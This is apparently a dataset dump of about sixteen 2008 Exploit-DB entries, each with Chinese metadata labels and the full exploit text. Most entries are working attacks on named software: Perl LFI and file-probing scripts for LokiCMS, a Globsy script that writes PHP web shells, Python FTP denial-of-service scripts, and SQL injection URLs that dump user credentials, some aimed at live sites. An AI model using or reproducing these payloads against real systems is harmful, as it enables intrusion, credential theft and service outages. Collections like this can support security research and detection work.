QLWD/code_shield huggingface dataset:
标题: LokiCMS 0.3.4 - 'admin.php' Create Local File Inclusion EDB-ID: 6744 CVE: 2008-4662 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-13 漏洞利用脚本: # LokiCMS 0.3.4 (admin.php) Create Local File Inclusion Exploit
# url: http://www.lokicms.com/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers and milw0rm website
#
# *Requirements: magic_quotes_gpc = Off

-----------------------------------------------------------
I had one idea when i saw http://milw0rm.com/exploits/6743
I created the exploit that creates LFI.
-----------------------------------------------------------

vuln file: admin.php
vuln code:

  case 'A_SAVE_G_SETTINGS': //save main settings
   writeconfig ( $c_password, $_POST['title'], $_POST['header'], $_POST['tagline'], $_POST
['footnote'], $c_default, $_POST['theme'], $_POST['language'], $_POST['modrewrite'], $_POST['simplelink'], $_POST
['code'] );
     $c_theme = $_POST['theme'];
   include PATH . '/includes/Config.php';
   include PATH . '/languages/' . $c_lang . '.lang.php'; --------> FUCKING THIS INCLUDE!!!!
   $msg = $lang ['admin'] ['expressionSettingsSaved'];
          break;

--------
Exploit:
--------

use LWP::UserAgent;

unless ($ARGV[0] && $ARGV[1])
{
    print "\n[x] LokiCMS 0.3.4 (admin.php) Create Local File Inclusion Exploit\n";
    print "[x] written by JosS - sys-project[at]hotmail.com\n";
    print "[x] usage: perl $0 [host] [path]\n";
    print "[x] example: perl $0 localhost /lokicms/ \n\n";
    exit(1);
}

my $lwp = new LWP::UserAgent or die;
 
my $target  =  $ARGV[0] =~ /^http:\/\// ?  $ARGV[0]:  'http://' . $ARGV[0];
   $target .=  $ARGV[1] unless not defined $ARGV[1];
   $target .= '/' unless $target =~ /^http:\/\/(.?)\/$/;

my $res = $lwp->post($target.'admin.php', 
                                [ 'LokiACTION' =>  'A_SAVE_G_SETTINGS',
                                  'language'   =>  '../../../../../../../../../../etc/passwd%00']);

if($res->is_error)
{
    print "[-] Exploit failed!\n";
    exit ();
}

--------

ENTERS ADMIN.PHP TO SEE /ETC/PASSWD

Ingenious work :D

# milw0rm.com [2008-10-13] URL: https://www.exploit-db.com/exploits/6744
标题: NewLife Blogger 3.0 - Insecure Cookie Handling / SQL Injection EDB-ID: 6739 CVE: 2008-6180 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-12 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
NewLife Blogger <= v3.0 / Insecure Cookie Handling & SQL Injection Vulnerability 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

$ Program: NewLife Blogger
$ Version: <= 3.0
$ File affected: system/nlb_user.class.php
$ Download: http://sourceforge.net/projects/nlb/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org


Cookie format is:
nlb3=7::96e79218965eb72c92a549dd5a330112
nlb3=iduser::md5 pass

--Bug --

143. function checkLogin( ) {
144.  // loing check
145.  if( isset( $_COOKIE['nlb3'] ) ) {
146.   $data = explode( '::', $_COOKIE['nlb3'] );
147.   $id = $data[0];
148.   $pass = $data[1];
149.   $fromdb = $this->sql->getArray('SELECT password FROM ' . db_users . ' WHERE user_id = ' . $id . ' LIMIT 1;');
150.   if( $pass === $fromdb['password'] ) {
151.    $this->setid( $id );
152.    $this->isLogedIn = true;
153.   } else {
154.    $this->isLogedIn = false;
155.   }
156.  }
157.  // we also check for banned users
158.  $this->checkBanned();
159. }


-- Exploit --

True/false method to blind mysql injection. Examples:

javascript:document.cookie = "nlb3=7 and 1=1::96e79218965eb72c92a549dd5a330112"
Response: You appears as logged in

javascript:document.cookie = "nlb3=7 and 1=0::96e79218965eb72c92a549dd5a330112"
Response: You appears as not logged in

javascript:document.cookie = "nlb3=7 and (select substring(version(),1,1))=4::96e79218965eb72c92a549dd5a330112
Response: You appears as logged in if MySQL version is 4

javascript:document.cookie = "nlb3=7 and (select substring(version(),1,1))=5::96e79218965eb72c92a549dd5a330112
Response: You appears as logged in if MySQL version is 5

# milw0rm.com [2008-10-12] URL: https://www.exploit-db.com/exploits/6739
标题: XOOPS Module xhresim - SQL Injection EDB-ID: 6748 CVE: 2008-5665 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-14 漏洞利用脚本: ##########################################
#
# XOOPS Module:  xhresim All Version
#
#
##########################################
#
##AUTHOR : EcHoLL
####HOME : http://www.warezturk.org
#
####MAÄ°L : echoll1983@hotmail.com
#
###########################################
#
# DORKS 1 : dork: /modules/xhresim/#
###########################################

 
 
 
target: http://scriptpage.com/modules/xhresim/index.php?no=[ Sql Code]
 
sql code= 9999+union+select+0,concat(uname,0x3a,pass),2,3+from+xoops_users--
 
live link : http://www.sakakusu.net/saka/modules/xhresim/index.php?no=75+union+select+0,convert(database()%20using%20latin1),2,convert(user()%20using%20latin1)--

# milw0rm.com [2008-10-14] URL: https://www.exploit-db.com/exploits/6748
标题: XM Easy Personal FTP Server 5.6.0 - Remote Denial of Service EDB-ID: 6741 CVE: 2008-5626 类型: DOS 平台: WINDOWS 发布日期: 2008-10-13 漏洞利用脚本: print "--------------------------------------------------------------"
print "# XM Easy Personal FTP Server 5.6.0 Remote Denial of Service"
print "# url: http://www.dxm2008.com/"
print "# author: shinnai"
print "# mail: shinnai[at]autistici[dot]org"
print "# site: http://www.shinnai.net"
print "--------------------------------------------------------------"

import socket
import time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
   conn = s.connect(("127.0.0.1",21))
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('USER test\r\n')
   print "Client -> USER: test"
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('PASS test\r\n')
   print "Client -> PASS: test"
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('NLST -1\r\n')
   print "Client -> NSLT: -1"
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)
except:
   print "- Unable to connect. exiting."

# milw0rm.com [2008-10-13] URL: https://www.exploit-db.com/exploits/6741
标题: Absolute Poll Manager XE 4.1 - 'xlacomments.asp' SQL Injection EDB-ID: 6731 CVE: 2008-4569 类型: WEBAPPS 平台: ASP 发布日期: 2008-10-11 漏洞利用脚本: ###############################################################################################
# Author : Hakxer
# Home : Www.educ-up.com
# Type Gap : Sql injection --((MSSQL Injection))--
# script : Absolute Poll Manager XE  [see script] http://www.xigla.com/absolutepm/demo.htm
# Greetz : Allah , Egyptian x Hacker , Soufiane , Sinaritx , SQL_inj4ct0r , Stealth , Kof2002 
# TM : EgY Coders 
#################################################################################################

### POC 
www.site.com/absolutepm/xlaabsolutepm/xlacomments.asp?p=convert(int,(select+user))

### Exploit : 

http://www.xigla.com/absolutepm/xlaabsolutepm/xlacomments.asp?p=convert(int,(select+@@version))

http://www.xigla.com/absolutepm/xlaabsolutepm/xlacomments.asp?p=convert(int,(select+user))

http://www.xigla.com/absolutepm/xlaabsolutepm/xlacomments.asp?p=convert(int,(select+db_name(1)))

http://www.xigla.com/absolutepm/xlaabsolutepm/xlacomments.asp?p=convert(int,(select+db_name(2)))

http://www.xigla.com/absolutepm/xlaabsolutepm/xlacomments.asp?p=convert(int,(select+db_name(3)))

###############################################################################

-------------------------------- The End of Gap -----------------------------------

# milw0rm.com [2008-10-11] URL: https://www.exploit-db.com/exploits/6731
标题: LokiCMS 0.3.4 - 'index.php' Arbitrary Check File EDB-ID: 6737 CVE: 2008-5965 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-12 漏洞利用脚本: # LokiCMS <= 0.3.4 (index.php page) Arbitrary Check File Exploit
# url: http://www.lokicms.com/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers and milw0rm website

vulnerability:
The vulnerability allows to verify the existence of the files and directories around the server.
/etc/passwd (example)

vuln file: index.php
vuln code:
------------------------------------------------
if ( isset ( $_GET ) && isset ( $_GET['page'] ) ) $pagename = stripslashes ( trim ( $_GET['page'] ) );



// load the page

if ($pagename == '') {

 $name = $c_default;

 $nosimple = true;

} else {

 $name = $pagename;

};



if ($c_simplelink == true && $nosimple != true) {

 $content = findpage($name);

 if ($content == "") {$content = $c_default;};

} else {

 $content = $name;

};



// stupid fix due to subdomain problems

if ($c_modrewrite != true && $pagename != '') {if (file_exists(PATH . "/pages/" . $content) == false) {$content = $c_default;};};



// load the menu

$menu = getmenu($content, $c_modrewrite, $c_simplelink);



$content = parsepage($content);
------------------------------------------------

use strict;
use LWP::UserAgent;

sub lw
{

my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
     $linux="0";
     }else{
      $linux="1";
     }
  if($linux){
system("clear");
}
else{
system("cls");
}

}

&lw;

print "#################################################################\n";
print "#  LokiCMS 0.3.4 (index.php page) Arbitrary Check File Exploit  #\n";
print "#################################################################\n";

my $victim = $ARGV[0];
my $file = $ARGV[1];

 if((!$ARGV[0]) && (!$ARGV[1])) {
    print "\n[x] LokiCMS 0.3.4 (index.php page) Arbitrary Check File Exploit\n";
    print "[x] written by JosS - sys-project[at]hotmail.com\n";
    print "[x] usage: perl xpl.pl [host] [file]\n";
    print "[x] example: http://localhost/loki/ /includes/Config.php\n\n";
    exit(1);
 }
 
    print "\n[+] connecting: $victim\n";
    my $cnx = LWP::UserAgent->new() or die;
    my $go=$cnx->get($victim."index.php?page=../$file");
    if ($go->content =~ m/LokiCMS/ms) {
        print "[-] The file not exist\n\n";
    } else {
        print "[!] The file exist: $file\n\n";
    }

# live demo: http://demo.opensourcecms.com/lokicms/

# milw0rm.com [2008-10-12] URL: https://www.exploit-db.com/exploits/6737
标题: Real Estate Scripts 2008 - 'cat' SQL Injection EDB-ID: 6736 CVE: 2008-4570 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-12 漏洞利用脚本: ###############################################################################################
# Author : EgY Coders TM < Hakxer>
# Home : Www.educ-up.com
# Type Gap : SQL INJECTION
# script : Real-Estate-Scripts [see script] http://www.real-estate-scripts.com/demo.html
# Greetz : Allah , Egyptian x Hacker , Soufiane , Sinaritx , SQL_inj4ct0r , Stealth , Kof2002 ,Bright D@rk
#################################################################################################
####### [+] Bug in : index.php 
### POC
      http://www.site.com/real-estate/index.php?cat=-5+UNION+SELECT+@@version,2,3/*
   http://www.site.com/real-estate/index.php?cat=-5+UNION+SELECT+user(),2,3/*
### Exploit
         [+] Get User 
# [+] http://www.real-estate-scripts.com/real-estate/index.php?cat=-5+UNION+SELECT+admin_email,2,3+from+ovi_anuntgratis.class_settings/*
         [+] Get Database Name
# [+] http://www.real-estate-scripts.com/real-estate/index.php?cat=-5+UNION+SELECT+database(),2,3/*

# [+] HaVe Fun .. ;


###############################################################################

-------------------------------- The End of Gap -----------------------------------

## Contact : aq5@windowslive.com
### Muslim Hacker .. I love you Mohammed Rasull Allah 
######################################################

# milw0rm.com [2008-10-12] URL: https://www.exploit-db.com/exploits/6736
标题: GuildFTPd 0.999.8.11/0.999.14 - Heap Corruption (PoC) / Denial of Service EDB-ID: 6738 CVE: 2008-4572 类型: DOS 平台: WINDOWS 发布日期: 2008-10-12 漏洞利用脚本: # GuildFTPd v0.999.8.11/v0.999.14 heap corruption PoC/DoS exploit
# GuildFTPd URL - http://www.guildftpd.com
# cwd/list heap corruption
# overwrite registers in free(): ecx, edi
#
# (x)dmnt 2008
# feel free to do shellcode
# -*- coding: windows-1252 -*-

import socket
import sys, time

evil_cwd = "/."*124
evil_dir = "X"*100

def help_info():
    print ("Usage: guildd0s <host> <login> <password>\n")
    print ("Note: anonymous is enought\n")

def dos_it(hostname, username, passwd):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, 21))
    except:
        print ("[-] Connection error!")
        sys.exit(1)
    r=sock.recv(1024)
    print "[+] " + r
    sock.send("user %s\n" %username)
    r=sock.recv(1024)
    sock.send("pass %s\n" %passwd)
    r=sock.recv(1024)
    print "[+] Send evil string"
    sock.send("cwd %s\n" %evil_cwd)
    r=sock.recv(1024)
    sock.send("list %s\r\n" %evil_dir)
    time.sleep(3)
    sock.close()
    print "[!] Now server d0s'ed/heap corrupted"

print ("\n]GuildFTPd v0.999.8.11/v0.999.14 remote heap corruption PoC/DoS exploit[")
print ("](x)dmnt 2008[\n\n")

if len(sys.argv) <> 4:
    help_info()
    sys.exit(1)

else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    dos_it(hostname,username,passwd)
    sys.exit(0)

# milw0rm.com [2008-10-12] URL: https://www.exploit-db.com/exploits/6738
标题: mini-pub 0.3 - File Disclosure / Code Execution EDB-ID: 6733 CVE: 2008-5581 2008-5580 2008-5579 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-12 漏洞利用脚本: mini-pub 0.3 multiple vulnerabilities

download   http://sourceforge.net/projects/mini-pub/

author     muuratsalo
contact    muuratsalo[at]gmail.com

exploits
1. local file disclosure
http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.txt?

2. local file disclosure
http://localhost/mini-pub.php/front-end/cat.php?sFileName=/etc/passwd

3. command execution
http://localhost/mini-pub.php/front-end/cat.php?sFileName=a%3Benv

# milw0rm.com [2008-10-12] URL: https://www.exploit-db.com/exploits/6733
标题: mini-pub 0.3 - Local Directory Traversal / File Disclosure EDB-ID: 6734 CVE: 2008-5936 2008-5883 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-12 漏洞利用脚本: _____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|
                                                            

mini-pub.php <= v0.3 Local Directory Traversal / File Disclosure Vulnerabilities
Script : http://mini-pub.sourceforge.net/
I- Local Directory Traversal
POC : /mini-pub.php-0.3/front-end/dir.php?sDir=C:\AppServ\MySQL

II- File Disclosure 
POC : /mini-pub.php-0.3/front-end/edit.php?sFileName=edit.php
        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-10-12] URL: https://www.exploit-db.com/exploits/6734
标题: Joomla! Component ownbiblio 1.5.3 - 'catid' SQL Injection EDB-ID: 6730 CVE: 2008-6184 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-11 漏洞利用脚本: #############################################################################
#                           #
#          Joomla Component Ownbiblio SQL Injection Vulnerability           #
#                           #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: hitman[at]khg-crew[dot]ws
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, urtan, war_ning, chs, redc00de - [-=Kosova Hackers Group=-]

########################################

[~] ScriptName:    "Joomla"
[~] Component:     "Ownbiblio (com_ownbiblio)"
[~] Version:       "1.5.3" 
[~] Author:        "Sebastian Kruvinnus, Michael Kehrwecker"

########################################

[~] DORK: inurl:"com_ownbiblio" catalogue

########################################

[~] Exploit: /index.php?option=com_ownbiblio&view=catalogue&catid=[SQL]
[~] Example: /index.php?option=com_ownbiblio&view=catalogue&catid=-1+union+all+select+1,2,concat(username,char(58),password)KHG,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users--

########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] United States of Albania

########################################

# milw0rm.com [2008-10-11] URL: https://www.exploit-db.com/exploits/6730
标题: Joomla! Component mad4Joomla! - SQL Injection EDB-ID: 6724 CVE: 2008-6181 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-10 漏洞利用脚本: #############################################################################
#                           #
#     Joomla Component Mad4Joomla Mailforms SQL Injection Vulnerability     #
#                           #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: hitman[at]khg-crew[dot]ws
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, urtan, chs, redc00de - [-=Kosova Hackers Group=-]

########################################

[~] ScriptName:    "Joomla"
[~] Component:     "Mad4Joomla Mailforms (com_mad4joomla)" 
[~] Author:        "Dipl. Inf. Fahrettin Kutyol"
[~] Author E-mail: "joomla@mad4media.com"
[~] Author URL:    "www.mad4media.de"

########################################

[~] Exploit: /index.php?option=com_mad4joomla&jid=[SQL]

[~] Example: /index.php?option=com_mad4joomla&jid=-2+union+select+1,concat(username,char(58),password)KHG,3,4+from+jos_users--



########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] United States of Albania

########################################

# milw0rm.com [2008-10-10] URL: https://www.exploit-db.com/exploits/6724
标题: MunzurSoft Wep Portal W3 - 'kat' SQL Injection EDB-ID: 6725 CVE: 2008-4573 类型: WEBAPPS 平台: ASP 发布日期: 2008-10-10 漏洞利用脚本: Author : LUPUS
Home  : www.megaturks.net / www.biyosecurity.com
E-Mail : By[nokta]lupus @gmail.com

----------------------------------------------------------------
Down : http://www.aspindir.com/indir.asp?ID=5636
----------------------------------

Dork : "MunzurSoft Wep Portal W3"
------------------------------------

Demo  : http://www.munzursoft.somee.com/www/kategori.asp?kat=2%20union+select+all+0,U_ADI,2,U_SIFRE,4,5,6,7,8,9,10,11,12,13+from+uyeler
--------------------------------------
Exploit
union+select+all+0,U_ADI,2,U_SIFRE,4,5,6,7,8,9,10,11,12,13+from+uyeler
---------------------------------------------

Greetz : ENO7 - Liz0zim - Kerem125 - Prens - SaO - The_BekiR - h4ckinger - ZeberuS
---------------------------------------
Note: Ã–nemli Olan Ä°nsan OlmaktÄ±r.

# milw0rm.com [2008-10-10] URL: https://www.exploit-db.com/exploits/6725
标题: Globsy 1.0 - Remote File Rewriting EDB-ID: 6735 CVE: 2008-5966 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-12 漏洞利用脚本: #!/usr/bin/php -q
<?php

/* 
   ----------------------------------------------------------------------
   Globsy <= 1.0 Remote File Rewriting Exploit
   Discovered By StAkeR aka athos - StAkeR[at]hotmail[dot]it
   Discovered On 12/10/2008
   http://switch.dl.sourceforge.net/sourceforge/globsy/globsy_1.0.tar.gz
   ----------------------------------------------------------------------
   
   globsy_edit.php
   
37. elseif($mode == "save"){   
38. $handle = fopen($filename, "w") or die("Write: The file <i>'".$filename."'</i> could not be opened.");
39. fwrite($handle, $data) or die("Write: The file <i>'".$filename."'</i> could not be writen.");    
   
   $mode is $_POST['mode'] and $data = $_POST['data']
   
   so you can rewrite (or create) any file 
    
*/


error_reporting(0);
ini_set("default_socket_timeout",5);

$host = str_replace('http:\/\/',null,$argv[1]);
$path = $argv[2]."/globsy_edit.php?file=";
$file = $argv[3];
$exec = intval($argv[4]);

if($exec == 8)
{
  $input = stripslashes(trim(fgets(STDIN)));
}
else
{
  $input = "Write your code\r\n";
}


$array = array(
               'include($_GET["input"]);',
               'exec($_GET["input");',
               'eval($_GET["input");',
               'file_get_contents($_GET["input"]);',
               'phpinfo();',
               'system($_GET["input");',
               'shell_exec($_GET["input");',
               'echo $_GET["input");',
                $input
              );

if($argc != 5)
{
  echo "[?] Globsy <= 1.0 Remote File Rewriting Exploit\r\n";
  echo "[?] Usage: php $argv[0] [host] [path] [file] [option]\r\n\r\n";
  echo "[?] Options: \r\n";
 
  for($i=0;$i<=count($array)-1;$i++)
  {
    echo "-$i $array[$i]\r\n";
  }  
    return exit;
} 

if(!$sock = fsockopen($host,80)) die("[?] Socket Error\r\n");

$path .= $file;
$post .= "mode=save&data=<?php {$array[$exec]} ?>";
$data .= "POST /$path HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Accept-Encoding: text/plain\r\n";
$data .= "Content-Length: ".strlen($post)."\r\n";
$data .= "Connection: close\r\n\r\n";
$data .= $post;

if(!fputs($sock,$data)) die("[?] Fputs Error!\n");

while(!feof($sock)) 
{
  $content .= fgets($sock);
} fclose($sock); 

if(!strpos('File data saved OK',$content))
{
  echo "[?] Exploit Successfully!\r\n";
  echo "[?] $array[$exec] written in $file\r\n";
}
else
{
  echo "[?] Exploit Failed!\r\n";
  exit;
}
  
  
?>

# milw0rm.com [2008-10-12] URL: https://www.exploit-db.com/exploits/6735
标题: Joomla! Component Ignite Gallery 0.8.3 - SQL Injection EDB-ID: 6723 CVE: 2008-6182 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-10 漏洞利用脚本: #############################################################################
#                           #
#        Joomla Component Ignite Gallery SQL Injection Vulnerability        #
#                           #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: hitman[at]khg-crew[dot]ws
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, urtan, chs, redc00de - [-=Kosova Hackers Group=-]

########################################

[~] ScriptName:    "Joomla"
[~] Component:     "Ignite Gallery (com_ignitegallery)"
[~] Version:       "0.8.3" 
[~] Author:        "Matt Thomson"
[~] Author E-mail: "matt@ignitejoomlaextensions.com"
[~] Author URL:    "www.ignitejoomlaextensions.com"

########################################

[~] DORK: inurl:"com_ignitegallery"

########################################

[~] Exploit: /index.php?option=com_ignitegallery&task=view&gallery=[SQL]&Itemid=18
[~] Example: /index.php?option=com_ignitegallery&task=view&gallery=-1+union+select+1,2,concat(username,char(58),password)KHG,4,5,6,7,8,9,10+from+jos_users--&Itemid=18

########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] United States of Albania

########################################

# milw0rm.com [2008-10-10] URL: https://www.exploit-db.com/exploits/6723
标题: Microsoft Windows - InternalOpenColorProfile Heap Overflow (PoC) (MS08-046) EDB-ID: 6732 CVE: 2008-2245 类型: DOS 平台: WINDOWS 发布日期: 2008-10-12 漏洞利用脚本: EMR_SETICMPROFILEA Heap Overflow DOS

By Ac!dDrop

related to MS08-046

Tested on windows Xp professional Sp2
mscms.dll 5.1.2600.2709
gdi32.dll 5.1.2600.2818 

Causes Windows explorer and Internet explorer to crash.

You can run arbitary code.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6732.rar (2008-emf_MS08-046.rar)

# milw0rm.com [2008-10-12] URL: https://www.exploit-db.com/exploits/6732